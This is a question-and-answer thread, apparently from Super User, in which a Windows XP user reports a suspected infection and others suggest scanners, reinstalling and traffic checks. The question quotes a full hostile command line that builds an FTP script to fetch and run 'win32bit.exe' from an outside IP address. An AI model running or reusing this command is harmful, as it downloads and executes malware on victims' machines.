My system is behaving strangely, is it possible I have a virus?

Question

For the last two days I am experiencing a strange behavior in my computer which I strongly suspect is a virus. So sudden, a series of keyboard events take part in. It tries to open command-prompt and try to execute the following line: del eq&echo open 186.81.185.135 14062 >> eq&echo user 12120 17227 >> eq &echo get win32bit.exe >> eq &echo quit >> eq &ftp -n -s:eq &win32bit.exe &del eq It is a Win XP SP3 I am operating on and I have McAfee running. Does any body have any idea what would that be?

Answer 1

Run Malwarebytes Anti-Malware. You can get it here. You may be able to remove it with that. If not then format and reload is the quickest, easist way to clean out the system. Besides a good reload every now and again keeps the OS running well. Hope that helps.

Answer 2

if you regular virus scanner doesn't pick up a threat (known or unknown) it doesn't mean it isn't real. give Threatfire a try, an anitvirus program that doesn't rely on virus signatures but on behavioral analysis

Answer 3

I'd recommend Spybot Search & Destroy.

Check what your network traffic is doing. You may be able to use that to figure out whether it is a remote session, or a remotely operated trojan.

You may also be able to monitor which executable is running in your Task Manager based on Read Bytes and Write Bytes, too. That's how I caught a bug on my system.

Answer 4

Yeah, you've been compromised. If you don't have the expertise to fully diagnose and repair trojans and rootkits, the only safe way to proceed is to reinstall the OS. Have fun.

Today's anti-virus tools are not up to the job of protecting you from the vast variety and fast mutations of the threats that are common today. Especially the traditional signature-based scanners are pretty much useless. Don't believe your machine is clean just because there's a reassuring little icon sitting in your system tray and eating up half your CPU.

Answer 5

Today, this very IP address seems to be dynamic, which seems odd for its purpose.

$ dig -x 186.81.185.135
[..]
135.185.81.186.in-addr.arpa. 86400 IN PTR Dynamic-IP-18681185135.cable.net.co.
[..]

However, this may in fact be quite old, so is your virus scanner indeed running...?

EDIT: yesterday, searching for 186.81.185.135 only gave 1 result, today 2 (plus this Super User question itself)... Maybe be quite recent after all?

Answer 6

You probably do have VNC set up, don't you? And most probably you haven't set up the password for it, have you? This is how the worm tried to enter your computer. The 186.81.185.135 host is irrelevant as it most probably is another poor fellow who haven't set up VNC properly.

The worm tries to create a script for ftp to download win32bit.exe and run it when it's ready.

Running some kind of a anti-... scanner is advised as it is hard to determine whether it succeeded or not.

Answer 7

Is your system up-to-date patchwise? It wouldn't hurt to make sure you've got all of the latest and greatest from Microsoft including the Malicious Software Removal tool for this month. It may find and remove what you've got. All of the noted spyware tools above are excellent options too (I like Malwarebytes)